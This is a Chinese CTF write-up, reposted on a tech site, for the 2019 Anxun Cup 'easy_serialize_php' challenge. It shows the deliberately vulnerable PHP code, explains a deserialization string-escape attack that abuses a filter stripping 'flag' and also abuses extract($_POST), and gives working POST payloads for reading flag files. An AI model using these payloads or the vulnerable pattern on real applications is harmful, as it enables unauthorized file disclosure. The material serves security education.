IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [安洵杯2019]easy_serialize_php -> 正文阅读

[PHP知识库][安洵杯2019]easy_serialize_php

知识点

反序列化字符逃逸(替换后导致字符串变短)

题目链接

BUUCTF在线评测[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]easy_serialize_php

审计代码

启动环境

打开题目是一段代码:

 <?php
?
$function = @$_GET['f'];
?
function filter($img){ ? //fileter过滤函数,将falg,php等过滤为空
 ? ?$filter_arr = array('php','flag','php5','php4','fl1g');
 ? ?$filter = '/'.implode('|',$filter_arr).'/i';
 ? ?return preg_replace($filter,'',$img);
}
?
?
if($_SESSION){      //释放变量
 ? ?unset($_SESSION);
}
?
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
?
extract($_POST);    //POST的方法读入变量
?
if(!$function){
 ? ?echo '<a href="index.php?f=highlight_file">source_code</a>';
}
?
if(!$_GET['img_path']){
 ? ?$_SESSION['img'] = base64_encode('guest_img.png');
}else{
 ? ?$_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); //get传入img,经过base64,shal加密
}
?
$serialize_info = filter(serialize($_SESSION));
?
if($function == 'highlight_file'){
 ? ?highlight_file('index.php');
}else if($function == 'phpinfo'){   //phpinfo 提示有一些东西在这里
 ? ?eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
 ? ?$userinfo = unserialize($serialize_info);   //序列化并打开img参数的文件
 ? ?echo file_get_contents(base64_decode($userinfo['img']));    
} 

我们先查看phpinfo中的数据,提示flag在d0g3_f1ag.php文件中

image-20211209173041656

php反序列化字符逃逸过程分析

先构造代码

<?php

function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }

$_SESSION["user"]='123'; $_SESSION["function"]='123';

//ZDBnM19mMWFnLnBocA== base64解码为我们读取的d0g3_f1ag.php

$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';

var_dump(serialize($_SESSION)); echo "<pre>"; $serialize_info=filter(serialize($_SESSION)); var_dump($serialize_info); var_dump(unserialize ($serialize_info));

?>

运行截图:

image-20211209223659045

?

我们截取?

";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

修改代码,将截取到的放到function中,并在最前面加一个A(一个字符),最后注释掉img

image-20211209224047389

运行可以看到flag被过滤了,我们截取

 ";s:8:"function";s:42:"A

image-20211209224259070

长度为24,所以我们选取6个flag(4*6=24)

image-20211209224450985

user处写入6个flag

image-20211209224616598

保存运行,我们看到了img变成了我们要读取的d0g3_f1ag.php文件

image-20211209224555910

构造payload

因此我们可以构造payload

我们发现上图只有两个参数user和img,缺少了function参数

我们POST传参时由于原本img参数逃逸了,所以只上传user和function两个参数。

因为user参数只能需要6个flag,所以我们在构造functionc参数时,需要多上传一个参数值

image-20211209231841056

我们截取?

A";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

并且在 “; 和 } 之间添加一个参数?

s:8:"function";s:7:"1234567";

所以我们最终构造的 payload为(post传输):

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=A";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:8:"function";s:7:"1234567";}

?然后查看显示,查看源代码:

image-20211209201112020

将img参数读取的文件改为/d0g3_fllllllag的base64加密 payload:?

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

image-20211209201141506

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-12-11 15:31:14  更:2021-12-11 15:31:31 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/13 14:37:13-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码